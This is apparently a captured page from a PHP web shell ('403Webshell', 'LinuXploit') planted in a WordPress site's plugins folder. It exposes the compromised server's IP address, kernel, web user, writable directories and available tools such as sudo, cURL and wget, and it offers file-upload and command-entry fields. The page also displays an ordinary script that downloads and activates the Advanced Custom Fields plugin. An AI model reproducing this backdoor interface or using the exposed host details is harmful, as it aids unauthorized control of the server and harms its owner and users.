403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/mi-no-ka/wp-content/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/mi-no-ka/wp-content/plugins/install-acf.php
<?php
// Define that we are not loading a theme
define('WP_USE_THEMES', false);

// Load WordPress Core so we can use activate_plugin
require_once( dirname( __FILE__ ) . '/../../../wp-load.php' );
require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
require_once( ABSPATH . 'wp-admin/includes/file.php' );

echo "Starting ACF Installation...\n";

// 1. Download
$url = 'https://downloads.wordpress.org/plugin/advanced-custom-fields.zip';
$zip_file = dirname(__FILE__) . '/acf.zip';

echo "Downloading from $url...\n";
$fp = fopen($zip_file, 'w+');
$ch = curl_init(str_replace(" ", "%20", $url));
curl_setopt($ch, CURLOPT_TIMEOUT, 50);
curl_setopt($ch, CURLOPT_FILE, $fp); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch); 
curl_close($ch);
fclose($fp);

if (!file_exists($zip_file) || filesize($zip_file) < 1000) {
    die("Error: Download failed or file too small.\n");
}

echo "Download complete. Extracting...\n";

// 2. Unzip
$zip = new ZipArchive;
if ($zip->open($zip_file) === TRUE) {
    $zip->extractTo(dirname(__FILE__));
    $zip->close();
    echo "Extraction successful.\n";
} else {
    die("Error: Unzip failed.\n");
}

// 3. Activate
echo "Activating Plugin...\n";
$plugin_path = 'advanced-custom-fields/acf.php';
$result = activate_plugin($plugin_path);

if (is_wp_error($result)) {
    echo "Error Activating: " . $result->get_error_message() . "\n";
} else {
    echo "ACF Activated Successfully!\n";
}

// Cleanup
unlink($zip_file);
echo "Done.\n";

Youez - 2016 - github.com/yon3zu
LinuXploit